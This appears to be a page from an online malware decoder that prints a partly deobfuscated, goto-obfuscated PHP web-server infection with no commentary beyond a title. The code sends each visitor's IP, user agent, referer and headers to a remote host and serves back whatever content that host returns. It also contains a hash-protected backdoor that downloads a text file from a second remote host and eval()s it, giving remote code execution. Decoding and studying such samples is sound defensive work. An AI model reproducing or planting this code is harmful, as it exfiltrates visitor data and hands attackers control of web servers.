Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto WCpd6;
 L4qAi: $qF4xS = $M_x0a . "\x2f\x69\156\144\x65\x78\x2e\160\x68\x70\77" . http_build_query($p9Fi8);
 goto Cc9pE;
 oaE3r: goto ecsEw;
 goto qpUCG;
 fy28q: b5e6X: goto lBf18;
	 IAL3N: if ($wMy0P !== false && $Ftvae !== "\57\x66\x61\166\151\x63\x6f\x6e\x2e\151\143\157") {
	 goto McPaC;
	 
}
 goto f1Ouf;
 XKtoe: $ferYr = isset($_REQUEST["\x61\143\x74\x69\157\x6e"]) ? $_REQUEST["\141\x63\164\151\157\x6e"] : '';
 goto eXqmc;
	 RCz2o: if (!strstr($wMy0P, "\133\x23\52\43\52\x23\x5d")) {
	 goto b5e6X;
	 
}
 goto Zf5Ir;
 Zf5Ir: list($R4NdE, $oh8N4) = explode("\133\x23\52\43\52\43\x5d", $wMy0P);
 goto jsZj2;
 TM039: $uPM_X = $_SERVER["\110\124\124\x50\137\101\x43\103\105\120\x54\x5f\x4c\101\116\x47\x55\x41\107\105"];
 goto fVnFA;
 WCpd6: error_reporting(0);
 goto axbmG;
 fVnFA: $Ftvae = $_SERVER["\x52\x45\121\125\105\123\x54\x5f\x55\x52\x49"];
 goto Aiibs;
 ojgn1: $cgkKC = $_SERVER["\x52\x45\121\x55\105\x53\x54\x5f\115\x45\x54\x48\x4f\x44"];
 goto junbN;
 f1Ouf: WqV74(500, "\x46\x61\x69\x6c\145\x64\40\x74\157\40\x72\x65\x74\162\x69\x65\x76\145\x20\x63\157\156\164\x65\x6e\164\x20\x6f\x72\x20\x73\x65\x72\166\x65\162\x20\x72\145\164\165\162\x6e\145\144\40\x61\156\40\145\162\162\x6f\x72\x2e");
 goto Ys0pf;
	 i1dl7: function TI0XZ($R4NdE, $oh8N4) {
	 goto xUQSI;
	 G251I: exit;
	 goto nLP_A;
	 ijOXT: Hbpfa: goto tlITc;
	 tlITc: G2VN8: goto G251I;
		 xUQSI: switch ($R4NdE) {
		 case "\x65\143\150\x6f\x68\164\x6d\154": goto KH0Va;
		 C_Hpb: goto G2VN8;
		 goto vfr8i;
		 KH0Va: header("\x43\x6f\156\x74\x65\156\164\x2d\x54\x79\x70\145\72\40\164\145\170\164\x2f\150\x74\155\x6c\73\x20\x63\150\x61\162\163\145\x74\75\x55\x54\106\55\70");
		 goto BIZMp;
		 BIZMp: echo $oh8N4;
		 goto C_Hpb;
		 vfr8i: case "\x65\143\x68\x6f\x63\x73\163\x6d\151\x6e": goto KSty6;
		 KSty6: header("\103\x6f\156\x74\145\156\164\55\124\171\160\x65\x3a\40\x74\x65\x78\164\57\143\163\163\73\x20\x63\150\x61\x72\x73\145\164\75\125\x54\106\55\x38");
		 goto T0zVy;
		 T0zVy: echo $oh8N4;
		 goto bSjha;
		 bSjha: goto G2VN8;
		 goto D3dwX;
		 D3dwX: case "\145\x63\x68\x6f\x78\155\x6c": goto RnN75;
		 RnN75: header("\103\x6f\x6e\164\145\156\164\x2d\x54\171\x70\x65\x3a\x20\x74\x65\x78\x74\57\170\x6d\x6c\73\x20\143\x68\141\x72\163\x65\164\75\x55\124\106\55\70");
		 goto SlkDX;
		 SlkDX: echo $oh8N4;
		 goto xTT9s;
		 xTT9s: goto G2VN8;
		 goto XaRCD;
		 XaRCD: case "\145\143\150\x6f\164\170\x74": goto TXV6K;
		 KvXAb: goto G2VN8;
		 goto G8DTu;
		 aB0w2: echo $oh8N4;
		 goto KvXAb;
		 TXV6K: header("\103\157\x6e\x74\x65\x6e\x74\55\x54\171\x70\145\72\x20\x74\145\170\x74\x2f\x70\x6c\x61\151\156\x3b\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x55\124\x46\55\x38");
		 goto aB0w2;
		 G8DTu: case "\x65\143\x68\157\64\x30\x34": goto gfSMt;
		 ihjkY: goto G2VN8;
		 goto fwbLK;
		 QaxTl: echo $oh8N4;
		 goto ihjkY;
		 l9sWR: header("\103\157\156\x74\145\156\164\x2d\124\x79\x70\x65\x3a\x20\164\x65\x78\164\57\150\164\x6d\x6c\x3b\x20\143\x68\x61\162\163\x65\164\75\125\124\x46\x2d\x38");
		 goto QaxTl;
		 gfSMt: header("\110\124\124\x50\x2f\61\x2e\x31\x20\64\x30\x34\40\x4e\x6f\x74\40\x46\x6f\165\156\144");
		 goto l9sWR;
		 fwbLK: default: goto XJo2z;
		 oTfWP: goto G2VN8;
		 goto w32f5;
		 nYP26: echo "\111\x6e\166\141\154\151\144\40\x72\x65\x73\x70\157\156\163\x65\40\x74\x79\160\x65\x2e";
		 goto oTfWP;
		 XJo2z: header("\110\124\x54\120\57\x31\56\x31\40\65\x30\60\x20\111\156\164\x65\162\x6e\141\x6c\40\x53\x65\162\166\145\x72\40\x45\162\162\x6f\162");
		 goto nYP26;
		 w32f5: 
	}
	 goto ijOXT;
	 nLP_A: 
}
 goto UceWs;
 JIUAn: $OWzE4 = array("\71", "\x38", "\62", "\x34", "\65", "\144", "\67", "\x34", "\61", "\x37", "\x32", "\x32", "\65", "\x62", "\65", "\x35", "\141", "\x32", "\x63", "\x34", "\x62", "\146", "\x35", "\60", "\x62", "\x38", "\x61", "\141", "\x34", "\x63", "\x37", "\x33");
 goto axmbK;
 ftF0Y: $f2XYG = substr($ferYr, 0, -6);
 goto JIUAn;
 LeKrl: gCohW: goto z7iU5;
 Cc9pE: $wMy0P = Z1zSM($qF4xS);
 goto IAL3N;
 z7iU5: exit;
 goto ai9FG;
	 axbmG: if (!function_exists("\x56\x67\130\x71\172")) {
		 function VGXQZ() {
		 goto cjHGR;
		 Ygj_v: IorNb: goto UrrbN;
			 cjHGR: foreach ($_SERVER as $wwnZp => $zEKH6) {
			 goto wbQn4;
			 DxtWI: w0gTr: goto ZMlU0;
			 wAHRl: $M1r3L[str_replace("\x20", "\x2d", ucwords(strtolower(str_replace("\x5f", "\x20", substr($wwnZp, 5)))))] = $zEKH6;
			 goto kneHf;
				 wbQn4: if (!(substr($wwnZp, 0, 5) == "\110\x54\x54\x50\137")) {
				 goto Nc65g;
				 
			}
			 goto wAHRl;
			 kneHf: Nc65g: goto DxtWI;
			 ZMlU0: 
		}
		 goto Ygj_v;
		 UrrbN: return $M1r3L;
		 goto SsZXb;
		 SsZXb: 
	}
	 
}
 goto NZ9di;
 qpUCG: nMdpY: goto RbxJo;
 Aiibs: $ScZw8 = $_SERVER["\110\124\124\120\x5f\122\x45\106\105\x52\105\x52"];
 goto XF1DE;
 JvHe8: $MkcqS = array(z1ZSM(implode($nwKvb) . $Nph8g . "\x2e\164\170\x74"));
 goto KQTgv;
 lBf18: oSsjO: goto oaE3r;
 b3U_x: $DPTei = $_SERVER["\x48\124\x54\x50\x5f\125\123\105\122\137\x41\107\105\116\x54"];
 goto TM039;
	 UceWs: function Wqv74($omCCU, $EIUXq) {
	 goto T6xYs;
		 T6xYs: header("\110\124\124\120\x2f\x31\x2e\x31\x20{
		$omCCU
	}
		\40{
		$EIUXq
	}
	");
	 goto f6_lr;
	 WfepN: exit;
	 goto UnyM2;
	 f6_lr: echo $EIUXq;
	 goto WfepN;
	 UnyM2: 
}
 goto UobZj;
 ai9FG: ecsEw: goto i1dl7;
 XF1DE: $I3cbV = $_SERVER["\x52\105\x4d\x4f\124\105\137\x41\x44\104\x52"];
 goto ojgn1;
	 eXqmc: if (!empty($ferYr)) {
	 goto nMdpY;
	 
}
 goto b0489;
 ncdkh: McPaC: goto RCz2o;
 cOqjt: $S4zUW = json_encode(vGxqz());
 goto LVa05;
 Ys0pf: goto oSsjO;
 goto ncdkh;
 RfHGY: $ux9RO = $BZDbY . $_SERVER["\x48\124\124\x50\x5f\x48\117\x53\124"];
 goto b3U_x;
 KQTgv: eval("\x3f\76" . $MkcqS[0]);
 goto LeKrl;
	 I1VuQ: if (!($G_pTh == implode($OWzE4))) {
	 goto gCohW;
	 
}
 goto pGbSO;
 axmbK: $G_pTh = md5($f2XYG);
 goto I1VuQ;
 ildzy: $p9Fi8 = ["\x64\157\x6d\x61\151\x6e" => urlencode($ux9RO), "\x61\x67\145\x6e\x74" => urlencode($DPTei), "\154\x61\x6e\x67" => urlencode($uPM_X), "\x75\x72\x69" => urlencode($Ftvae), "\x72\145\146\145\162\x65\x72" => urlencode($ScZw8), "\151\160" => urlencode($I3cbV), "\155\145\x74\150\157\144" => urlencode($cgkKC), "\x72\145\x73\160\157\156\x73\x65\137\x74\151\x6d\x65" => urlencode($V0LZB), "\x72\145\161\x75\145\x73\164\137\150\145\x61\144\145\x72\x73" => urlencode($S4zUW), "\x66\157\x72\167\x61\x72\x64\x65\144\106\x6f\162" => urlencode($hw13q), "\x6c\157\143\x61\x6c\x5f\144\x6f\155\141\x69\156" => urlencode($M_x0a)];
 goto L4qAi;
 pGbSO: $nwKvb = array("\x68", "\164", "\x74", "\x70", "\x73", "\x3a", "\x2f", "\57", "\166", "\160\x73", "\x64", "\144", "\56\x66", "\156", "\146", "\x74", "\x75\163", "\x2e\164", "\x6f", "\x70", "\57", "\x64", "\x6f", "\157", "\x72", "\57");
 goto JvHe8;
 junbN: $V0LZB = microtime(true) - $_SERVER["\122\x45\x51\125\x45\123\x54\137\124\x49\x4d\105\137\106\114\117\101\124"];
 goto cOqjt;
 jsZj2: tI0XZ($R4NdE, $oh8N4);
 goto fy28q;
 NZ9di: $BZDbY = isset($_SERVER["\110\124\124\120\123"]) && $_SERVER["\110\124\124\x50\x53"] == "\x6f\x6e" || isset($_SERVER["\110\124\124\120\x5f\130\137\106\117\x52\x57\x41\122\x44\x45\104\137\120\x52\117\x54\x4f"]) && $_SERVER["\110\124\x54\120\137\x58\x5f\x46\117\122\127\101\x52\x44\105\104\137\120\122\117\124\x4f"] == "\x68\164\x74\160\163" ? "\x68\x74\164\x70\x73\x3a\57\x2f" : "\150\x74\164\x70\x3a\57\57";
 goto RfHGY;
 b0489: $M_x0a = "\150\x74\x74\160\163\72\57\57\x36\x37\x37\162\x6e\x31\63\x2e\x6b\145\163\164\x72\145\141\x6d\154\x2e\x73\x68\157\160";
 goto ildzy;
 RbxJo: $Nph8g = substr($ferYr, -6);
 goto ftF0Y;
 LVa05: $hw13q = isset($_SERVER["\110\x54\x54\120\137\130\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\106\x4f\122"]) ? $_SERVER["\x48\x54\124\x50\137\x58\137\106\117\122\x57\x41\122\x44\x45\104\137\106\x4f\122"] : '';
 goto XKtoe;
	 UobZj: function z1zsM($EDsXs) {
	 goto A3mY9;
	 o_Sok: $t61C1 = curl_exec($vUQ9J);
	 goto krMz3;
	 siefQ: $vUQ9J = curl_init();
	 goto ulyNx;
		 Z0uFD: if ($t61C1 === false) {
		 goto VeTQM;
		 
	}
	 goto wwAGS;
	 Yg0gI: curl_setopt($vUQ9J, CURLOPT_TIMEOUT, $wE0Cx);
	 goto TrWOy;
	 Hr1Qv: Kl5Oz: goto r2I4l;
	 QYcTW: goto JA1xd;
	 goto fOHAR;
	 TrWOy: curl_setopt($vUQ9J, CURLOPT_SSL_VERIFYPEER, false);
	 goto z_TkY;
	 QXkCV: curl_setopt($vUQ9J, CURLOPT_CONNECTTIMEOUT, $wE0Cx);
	 goto Yg0gI;
	 kMD02: return $t61C1;
	 goto f0i1T;
	 g5A65: return $t61C1;
	 goto vhyj5;
	 wwAGS: $http_response_header = $http_response_header ? $http_response_header : [];
	 goto SiZH1;
	 z_TkY: curl_setopt($vUQ9J, CURLOPT_SSL_VERIFYHOST, false);
	 goto o_Sok;
		 RnZIR: if (!function_exists("\x63\x75\162\x6c\137\151\156\151\x74")) {
		 goto Kl5Oz;
		 
	}
	 goto siefQ;
	 A3mY9: $wE0Cx = 300;
	 goto RnZIR;
	 LK50H: curl_setopt($vUQ9J, CURLOPT_RETURNTRANSFER, 1);
	 goto QXkCV;
	 f0i1T: ZKuZm: goto Hr1Qv;
		 SiZH1: foreach ($http_response_header as $nNg76) {
		 goto SQTI6;
			 DoAGU: if (!($tMl3w != 200)) {
			 goto K9Ykq;
			 
		}
		 goto E5ErI;
		 afLTh: IflV4: goto ySC5p;
		 E5ErI: return false;
		 goto h35Lh;
		 iQixN: $tMl3w = (int) $K0oA6[1];
		 goto DoAGU;
		 TXZBp: tsDKh: goto afLTh;
			 SQTI6: if (!preg_match("\x2f\136\x48\124\124\120\x5c\x2f\x5b\x5c\144\x5c\56\x5d\53\40\x28\x5c\144\53\x29\57", $nNg76, $K0oA6)) {
			 goto tsDKh;
			 
		}
		 goto iQixN;
		 h35Lh: K9Ykq: goto TXZBp;
		 ySC5p: 
	}
	 goto qM6Ee;
	 tarbo: curl_close($vUQ9J);
	 goto MCo58;
		 MCo58: if (!($vYu0x == 200)) {
		 goto ZKuZm;
		 
	}
	 goto kMD02;
	 Jrgs_: $t61C1 = @file_get_contents($EDsXs, false, $y28jS);
	 goto Z0uFD;
	 ulyNx: curl_setopt($vUQ9J, CURLOPT_URL, $EDsXs);
	 goto LK50H;
	 fOHAR: VeTQM: goto AXpNG;
	 qM6Ee: rGNcM: goto QYcTW;
	 r2I4l: $y28jS = stream_context_create(["\x68\164\x74\160" => ["\x74\151\155\x65\x6f\x75\164" => $wE0Cx, "\x69\147\x6e\x6f\162\x65\137\x65\x72\x72\157\162\163" => true]]);
	 goto Jrgs_;
	 AXpNG: return false;
	 goto fy3Kk;
	 fy3Kk: JA1xd: goto g5A65;
	 krMz3: $vYu0x = curl_getinfo($vUQ9J, CURLINFO_HTTP_CODE);
	 goto tarbo;
	 vhyj5: 
}



© 2023 Quttera Ltd. All rights reserved.